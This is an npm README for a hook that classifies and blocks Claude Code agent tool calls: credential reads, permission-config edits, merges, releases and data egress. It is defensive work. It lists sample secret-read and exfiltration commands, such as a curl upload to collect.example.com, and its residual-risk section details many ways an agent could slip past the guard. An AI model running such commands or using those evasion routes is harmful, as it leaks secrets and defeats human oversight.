@titan-design/tool-guard
v0.5.3
Published
Classifies Claude Code tool calls into guarded authority actions, with a POSIX shell tokenizer
Readme
@titan-design/tool-guard
Classifies Claude Code tool calls into guarded authority actions, with a POSIX shell tokenizer
Tier 0 of the titan-platform DAG. May import only packages in the same tier or
below; the package-layers rule in .codewatch/check.json enforces this in CI. Its one titan
dependency is @titan-design/authority, also tier 0, which owns the decision table.
Status: public on npm. The owner publishes the first version by hand. classify covers all five
families, secret, config, merge, release and egress, so it turns an event into the guarded
actions it would take (a merge, a release, a credential read, a permission-config edit, data
sent off the host allowlist). decide, the PreToolUse hook and the
titan-tool-guard bin turn a classified action into a deny. The owner installs the hook by
hand; see Install.
What it guards, and what it cannot
The hook answers every Bash, Read, Grep, Edit, Write, MultiEdit and NotebookEdit
call before it runs. When the call would merge, release, read a credential, edit permission
config or send data off the allowlist, it prints a PreToolUse deny with a one-line reason that
says what to do instead. Otherwise it prints nothing. It never answers ask or allow, so it
cannot override the session's permission mode or another hook.
Same-user limit. The hook runs as the same OS user as the agent it guards. It is a guard against accidents and against the spellings it knows, not a security boundary: anything the agent runs outside a tool call (a background process it started, a script that a later build step runs, a program that reads a file under a computed name) is never seen. Every guarded file stays readable by that user. The OS account is the real boundary.
Residual risk.
- Commands built at run time (
$(...),read,printf -v,eval "$x") are not followed. A script run by path is read one level deep. - An HTTP client that sends a write method to a URL whose host, or whose
api.github.compath, is known only at run time reads as a merge. - A curl, wget or httpie config file is checked only within one command line: an rc file planted by an earlier Bash call (
echo method=PUT > ~/.wgetrc, thenwget <merge URL>in the next call) is not seen (TP-2861 tracks the path-layer guard). A download that names its file from the URL (curl -O/-J, a barewget "$U") is not read as an rc write either. An archive extract (tar, bsdtar or cpio extract, unzip, pax -r, 7z x/e, ar x, jar x) counts as an rc write in any directory, because its member paths may be absolute. Other unpackers and interpreters are not read. - A Bash command the tokenizer cannot parse passes, unless its text names a guarded
path, a distinctive credential file name, or
gh pr merge,/merge,publish,deploy,gist(owner decision D6). Then it denies and asks for simpler commands. The text is checked as typed and with quotes and backslashes removed and whitespace runs collapsed, sogh pr mer''gecounts. A name spelled through a variable or a glob (F=mrc; cat ~/.np$F,cat ~/.np*rc) in an unparseable command is not seen and passes: D6's residual. - Claude Code treats a hook that times out (5 s) or crashes as a non-blocking error, so the
call runs. The bin exits 0 on every path and gives stdin 2 s. It classifies in a worker
thread and denies any call it has not answered 3.5 s after node starts (
HOOK_DEADLINE_MS), or whose worker throws, exits or answers with the wrong shape; the reason asks the agent to split the command (TP-3224). An answer arriving after the deadline is dropped. A crash of the bin's main thread, or stdin that does not end within 2 s, still lets the call run. A Bash command over 8 KiB (MAX_COMMAND_BYTES) is not classified: it denies at once, whatever it names, and the reason asks for shorter commands or a script file. - A line that rebinds a command name is refused whole, with its own reason: zsh
hash y=/usr/bin/git, bashhash -p, and a store intocommands,BASH_CMDS,functions,dis_functionsornameddirs(commands[y]=…,commands+=(…),set -A commands …,zstyle -e … 'commands[y]=…'), because the guard classifies by command name and would ready pushas an unknown program (TP-2706). Listing, looking up or resetting the hash table (hash,hash git,hash -r) passes. A store builtin whose stored-into name is only known at run time (export $(cmd),declare "$F",read -- "$n",zpty -r z "$n",zgetattr f a "$n") is refused too, since that name may becommands[y];name-slots.tsandhooked-params.tsread these builtins from one table,WRITER_SPECS. Not seen: a command word only known at run time that ishashthen ("$(printf ha%s sh)" y=/x), fully dynamicevaltext,autoloadfrom anfpathfile andzmodloadtricks, and a rebinding written into~/.zshrcfor a later session. - A builtin with a store option (
print,printf,set,read,compgen,mapfile,wait,zparseopts,strftime,zstat, zshstat,compadd: everyWRITER_SPECSbuiltin with a name option or a store flag, with no exemptions) that meets a run-time word where it still reads options (print $x,set "$x",print *) is refused the same way, quoted or not, because that word may be-v commands[y]. Write--before the run-time words to pass:print -- $x,wait -- $pid. zsh'szparseopts,zformat,zstyle,zstatandstatskip one leading--and read options after it, sostat -- "$f"is refused too; writestat ./"$f", sincestat $o commands switho=-LHstores intocommandsonce zsh/stat is loaded. A run-time word in a name slot (read -- "$n",declare "$x", zshread -n "$n",zstyle -s :a k "$n") may be any name, so it is refused after--too; write the name itself (TP-3320). - A line that defines a shell alias is refused whole, with its own reason:
alias y=git,alias -g,enable -a, a store into zsh'saliases,galiasesorsaliases(or bash'sBASH_ALIASES) by assignment,typeset -A,set -A,read -A,printf -vor${aliases[y]::=git}, in the line, inevaland-ctext, in a substitution, a function body or a script it sources, because zsh expands an alias in text it parses later in the same process and the guard would ready pushas an unknown program (TP-2705). Querying one (alias,alias g,alias -L,alias -m 'g*') andunaliaspass. A command word the shell may expand intoaliasis read asalias: a brace expansion ({alias,y=echo}), a glob a file named likealias, a wrapper such asbuiltin, or a store builtin such astypesetorsourcewould match, in any letter case (ali*,t?peset), a leading=or a tilde without a/. A word with a/is a path and neveralias, and a glob no such name matches (TP-*,*dropped*) is only a name, unless it holds a]opening a bracket class,#,\,^,~,<n-m>or a group; a lonecasepattern word is matched, never run, but only betweeninandesac(zsh's brace formcase x { … }is read as commands). A word that varies wherealiasreads its operands, or where a store builtin reads an option or a name, is read as one that may define:alias *,typeset ali*,printf *,print $x; a numeric parameter ($?,$#) and a format that opens with text (printf "b$n=%s ") are not. Only the plainNAME=VALUEform of a declaration is spared, as neither shell globs it:typeset a[1]=2passes. A command word only known at run time with no external runner (env,sudo,nohup,nice,xargs) before it is read as one that may bealias, also afterbuiltin,command,noglob,nocorrect,-,timeorcoproc, which run builtins:"$C" y=gitand"$(printf al%s ias)" y=gitare refused, as is"$C" -v 'aliases[y]' git. Accepted false denies, sincealiasitself takes the same words:"$MAKE" CC=gcc,"$PY" -m pip install x==1.2,"$DOCKER" run -e A=1;"$EDITOR" fileand"$cmd" --versionpass. Not seen: a run-time word behind an external runner (sudo "$C" y=git,env "$C" y=git;env $(…) A=1 pnpmmust pass), a run-time word with only a glob, tilde or=operand, fully dynamicevaltext, an alias written into~/.zshrcfor a later session, andhash NAME=path(see the rebinding bullet). - The mention rule is broad: any argument naming a secret path counts as a read, so
echo ~/.npmrcand agh pr create --bodythat names~/.npmrcdeny too.
Command line
titan-tool-guard hook # answer one PreToolUse event on stdin; always exits 0
titan-tool-guard print-settings # print the settings entry as JSON; writes nothing
titan-tool-guard report # deny counts per UTC day and rule, from the logNo code path is meant to write a settings file, a hooks directory, a profile or an rc file. The only write is the hook's append of its log line, and the log path is checked first (see Log).
Actor. Every call is evaluated for coordinator, worker and headless
together and the strictest verdict wins (owner decision D2). A gate verdict denies too, since
the hook cannot check a resolved gate yet, and the reason names the gate rule.
No owner bypass. The hook never grants owner authority. TITAN_TOOL_GUARD_BYPASS=1 used to
(owner decision D3), but the hook runs as the same OS user as the agent, so any variable, file,
process name, parent or terminal it could check is one the agent can produce for a claude it
starts. The variable is now ignored. The owner takes a guarded action from a terminal outside
Claude Code, where the hook does not run.
Log. $TITAN_TOOL_GUARD_LOG, else
${XDG_STATE_HOME:-$HOME/.local/state}/titan-tool-guard/guard.log, mode 0600 in a 0700
directory. Before each append the path is refused when, as typed or with its deepest existing
ancestor resolved through symlinks, it names a guarded path or lands in a ~/.claude* tree; the
final file is opened with O_NOFOLLOW. The check runs just before the open, so a link swapped
in between the two is not caught. One tab-separated line per deny or error:
ts kind rule action spelling actor actor_id session tool tool_use subject
2026-01-02T03:04:05.000Z deny MRG-WK merge bash.merge.gh-pr-merge coordinator+worker+headless impl-7 sess-1 Bash - pr=3
2026-01-02T03:04:06.000Z error parse Bash sess-1The subject holds only safe keys: a guarded pattern id (home:.npmrc, never the path typed),
pr, branch, tool or an egress host. Command text, file contents, URLs, the cwd and every
environment value except the agent id are never logged, because a denied command is exactly
the one likely to hold a token.
Library
import { classify, decide, nodeContext, observeActor, parseHookEvent } from "@titan-design/tool-guard";
const event = parseHookEvent(JSON.parse(stdin));
if (event.kind !== "malformed" && event.kind !== "other") {
const actions = classify(event, nodeContext("/home/you"));
const decision = decide(actions, observeActor(process.env, event.sessionId));
// { outcome: "deny", ruleId: "SEC-CO", action: "secret-read", spelling: "bash.secret.cat", reason: "..." }
}classify(event, ctx)is pure: the filesystem arrives as thectxport. It throws the shell'sParseErrorfor a Bash command it cannot parse.decide(actions, actor, table?)evaluates each action for each candidate class with authority'sevaluateand keeps the strictest verdict.handle(stdin, env, port)is the whole hook: it never throws and returns the stdout and log lines for the bin to write.nodeContext(home)reads throughrealpathSync.native, so on a case-insensitive filesystem~/.NPMRCresolves to the guarded~/.npmrc. On darwin and Windows it also setsctx.foldCase, so a command word reads lower-cased beside its written spelling andGIT push origin HEAD:mainclassifies asgit push origin HEAD:main. On Linux, whereGITis a different program, the word reads only as written.
Spellings
SPELLINGS lists every id the classifier emits, each with the remedy the deny reason ends with.
Every id has a test fixture.
| Family | Action | Spellings | Example |
|---|---|---|---|
| secret | secret-read | read.secret, read.secret-symlink, grep.secret, and 22 bash.secret.* ids: cat, head-tail-less, grep, cp-mv, encode, redirect-in, here-string, subshell, absolute, home-relative, symlink, link-then-read, var-indirection, quoting, glob, sh-c, xargs, inline-interpreter, heredoc-shell, script-by-path, keychain, mention | base64 < ~/.npmrc |
| config | authority-config | write.config, and bash.config.*: redirect-out, tee, cp-mv-ln, in-place, remove, interpreter, git-hooks, git-config-hookspath, claude-cli, mention | sed -i '' 's/deny/allow/' ~/.claude/settings.json |
| merge | merge | bash.merge.*: gh-pr-merge, gh-api-merge, gh-api-merges, gh-api-graphql, curl-api, git-merge-protected, git-push-protected, git-push-implicit, git-push-all | gh pr merge 12 --squash |
| release | release | bash.release.*: npm-publish, pnpm-publish, yarn-bun-publish, changeset-publish, npm-registry-mutation, gh-release, gh-workflow-run, wrangler-deploy, version-packages-merge | pnpm exec changeset publish |
| egress | private-egress | bash.egress.*: gh-gist, curl-upload, wget-upload, httpie, raw-socket, remote-copy, cloud-copy, git-push-url | curl -d @report.json https://collect.example.com/in |
The guarded paths are GUARDED_PATHS (owner decision D4). The egress allowlist is GitHub,
the npm registry for reads, and loopback (owner decision D5).
Install (owner only)
An agent never runs these steps. After the package is published:
- Create
~/.claude/hooks/authority-guard/, runnpm init -yandnpm i @titan-design/tool-guard@<version>there. Pinning keeps an upgrade deliberate and puts the guard inside a guarded config path. - Run
node ~/.claude/hooks/authority-guard/node_modules/@titan-design/tool-guard/dist/bin.js print-settingsand paste its output as a second element ofhooks.PreToolUsein~/.claude/settings.json, after any existing entry. - Check each other profile's
settings.jsonwithls -l. Profile files can be separate regular files rather than symlinks; add the same entry to every one that is not a symlink, and find whatever syncs them first so a later sync neither drops nor duplicates it. - From your own terminal, pipe a Read event for
$HOME/.npmrcinto<bin> hook; expect a deny and one log line.
@titan-design/tool-guard/shell
import { extractCommands, parseGit } from "@titan-design/tool-guard/shell";
const commands = extractCommands('F=~/.x; cd /repo && git -C sub push origin "$F"', {
cwd: "/work",
home: "/home/you",
});
// [{ name: "git", path: "git", args: [...], env: {}, redirects: [], dir: "/repo", wrapping: [],
// next: null, prev: "&&", negated: false, chain: { start: ";" } }]
const inv = parseGit(commands[0].args, commands[0].dir, "/home/you");
// inv.dir === "/repo/sub", inv.sub === "push"tokenize(src)returns words, operators, redirections (with their targets and heredoc bodies) and process substitutions. ThrowsParseErroron unterminated quoting, and on a zsh~oreflag (${~x},$~x,${(e)x}) that would run a value as a glob qualifier or as code.extractCommands(src, { cwd, home })returns every simple command the shell would run, each with its working directory. Literal assignments (F=~/.x; cat "$F") and$HOMEare expanded; anything computed staysdynamic. Each command also records how it was reached (wrapping: a subshell,sh -c,eval,xargs, a heredoc or pipe into a shell,find -exec), its command word as typed (path), the operators joining it to the commands before and after it (prev,next), whether a!negates its pipeline (negated), and the operator that started its&&chain (chain). It reads past wrappers such ascommand,execandsudo, and past zsh's precommand modifiersnoglob,nocorrectand-.parseGitandsplitArgsread git's global options and flag clusters.
Nothing here touches the filesystem, the environment or a clock.
Ported from the owner's git-safety PreToolUse hook, with four additions:
- Redirect targets are kept.
- Heredoc bodies are kept.
$'...'strings are decoded.- Literal variables are tracked within one command string.
Preference family
import { checkPreferences } from "@titan-design/tool-guard";
import { extractCommands } from "@titan-design/tool-guard/shell";
checkPreferences(extractCommands('bash -c "pkill -f vite"'), { seat: false });
// [{ id: "R86", message: "Kill only a process you started, by the PID you recorded, ..." }]checkPreferences(commands, ctx) checks commands parsed by extractCommands against
PREFERENCES, a table of house rules that are not authority actions. It returns one
{ id, message } per broken row, in table order; each message is one sentence saying what to
do instead. Commands nested in bash -c, eval, heredocs, substitutions and wrappers count.
| Row | Matches | Passes |
|---|---|---|
| R86 | pkill without -P, killall, kill fed by pgrep or pidof | pkill -P <pid>, kill <pid> |
| R50 | a publish the release family classifies | --dry-run, npm pack |
| R31 | a merge, release, deploy, branch delete or tag push beside another command | the same command alone, or after cd |
| R127 | gh run watch, gh pr checks --watch, a CI read beside sleep or watch | a single gh pr checks |
| R133 | a merge the merge family classifies, when ctx.seat | seat-merge, any merge outside a seat |
| R64 | active-work with XDG_DATA_HOME set and no ACTIVE_ROOT | ACTIVE_ROOT=<dir> active-work |
| R164 | git --no-verify, commit -n, -c core.hooksPath= | -m "--no-verify", push -n |
| R175 | pnpm test, npm test and their t, tst, run test and run-script test forms, pnpm -c test, vitest, vitest run, vitest watch, npx vitest [run\|watch], pnpm [exec] vitest [run\|watch] with no path argument, including options after --, when ctx.agentWorktree | a path argument (also after --), a bare --changed, pnpm --filter <pkg> test, pnpm test:affected, any run outside an agent worktree |
The checker is pure. A shell loop's keywords never reach the command list, so R127 reads a
sleep beside a CI read as the loop. R175 names pnpm test:affected because CI runs the full
suite on every pull request, so a local whole-suite run only spends machine memory. The merge
spellings that need the checked-out branch (git merge, a bare git push) are skipped, since
reading it needs the filesystem.
checkPreferences only reports; no hook blocks on a preference hit yet.
